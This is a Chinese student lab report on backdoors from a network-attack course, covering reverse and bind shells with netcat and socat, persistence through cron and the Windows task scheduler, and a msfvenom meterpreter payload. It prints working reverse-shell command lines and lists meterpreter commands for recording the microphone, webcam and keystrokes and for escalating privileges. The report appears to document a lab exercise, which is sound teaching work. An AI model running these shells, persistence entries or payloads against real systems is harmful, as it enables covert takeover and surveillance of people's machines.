• 20155333 《网络对抗》Exp2 后门原理与实践


    20155333 《网络对抗》Exp2 后门原理与实践

    1、例举你能想到的一个后门进入到你系统中的可能方式?

    • 下载的软件中捆绑有后门;
    • 浏览的网页或其上的小广告;
    • 有些网页会自动安装软件。
      2、例举你知道的后门如何启动起来(win及linux)的方式?
    • 在Windows下在控制面板的管理工具中可以设置任务计划启动;
    • 修改注册表,自启动;
    • 对后门程序进行伪装,诱骗用户点击启动;
      3、Meterpreter有哪些给你映像深刻的功能?
    • 获取目标主机音频、摄像头、击键记录等内容。
      4、如何发现自己有系统有没有被安装后门?
    • 利用防火墙还有杀毒软件等
    • 检查防火墙开启的端口和它对应的进程,如果不是系统默认开启的端口都有嫌疑,找到对应的进程,对其进行抓包分析;
    • 观察注册表里的进程。

    常用后门工具实践

    Windows获得Linux Shell

    1、在Windows下,先使用ipconfig指令查看本机IP:

    2、使用ncat.exe程序监听本机的8888端口:

    3、在Kali环境下,使用nc指令的-e选项反向连接Windows主机的8888端口:

    4、Windows下成功获得了一个Kali的shell,运行ls指令如下:

    Linux获得Windows Shell

    1、过程与之前的类似,在Kali环境下用ifconfig查看IP:

    2、使用nc指令监听8888端口:

    3、在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的8888端口

    4、Kali下可以看到Windows的命令提示,可以输入Windows命令:

    使用netcat获取主机操作Shell,cron启动

    1、先在Windows系统下,监听8888端口

    2、在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
    kali系统内每分钟自动运行指令,反弹至pc端的8888端口

    3、用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:

    4、在最后一行添加17 * * * * /bin/netcat 192.168.199.125 8888 -e /bin/sh,意思是在每个小时的第17分钟反向连接Windows主机的8888端口,就会启动cron。设置成17的原因是我当时的时间是23点14,为了能立马看到效果,所以我将时间设置在了3分钟以后:

    输入完成命令后,windows的cmd这里在时间到的时候输入dir命令没有任何反应。
    后来发现在最开始选择编辑器那里选择错了编辑器,/bin/nano没有用vim,所以在输入的时候不会使用。后面再搜索如何更改crontab的编辑器:
    输入sudo select-editor

    再用crontab -e指令:在最后一行添加17 * * * * /bin/netcat 192.168.199.125 8888 -e /bin/sh
    当时间到了23点17时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了17分时会立马显示出来):

    使用socat获取主机操作Shell, 任务计划启动

    基础知识

    1、socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。
    2、socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

    实践过程

    1、在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:

    2、在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:8888 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout上:

    3、创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

    4、此时,在Kali环境下输入指令socat - tcp:192.168.43.56:8888,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的8888端口,此时可以发现已经成功获得了一个cmd shell:

    使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    1、输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.146 LPORT=8888 -f exe > 20155333_backdoor.exe生成后门程序:

    2、通过nc指令将生成的后门程序传送到Windows主机上:

    3、在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

    4、设置完成后,执行监听:

    5、打开Windows上的后门程序:

    6、此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

    使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    1、使用record_mic指令可以截获一段音频:

    2、使用webcam_snap指令可以使用摄像头进行拍照:

    3、使用webcam stream指令可以使用摄像头进行录像:
    4、使用screenshot指令可以进行截屏:

    5、使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

    6、先使用getuid指令查看当前用户,使用getsystem指令进行提权.

    实验总结与体会

    这次实验确实像老师所说的一样很有趣,虽然在MSF这部分重做了很多次,中途电脑还蓝屏了,但看到成果还是很开心的(大概是因为终于做完了)。还得申明一下,中途换了IP是因为换了网。

  • 相关阅读:
    5、python中的列表
    Linux---配置新服务器的常见操作(CentOS7)
    MapReduce原理篇
    用MR实现Join逻辑的两种方法
    Linux静态库与共享库
    mysql命令查看表结构及注释
    mysql 数据同步到 elastsearch7 数字类型精度丢失
    canal client-adapter 将mysql数据同步到 es elasticsearch 日期时间少8小时问题解决
    如何用redis做活跃用户统计-HyperLoglog
    jvm 虚拟机内存布局
  • 原文地址:https://www.cnblogs.com/rh123456/p/8711845.html
Copyright © 2020-2023  润新知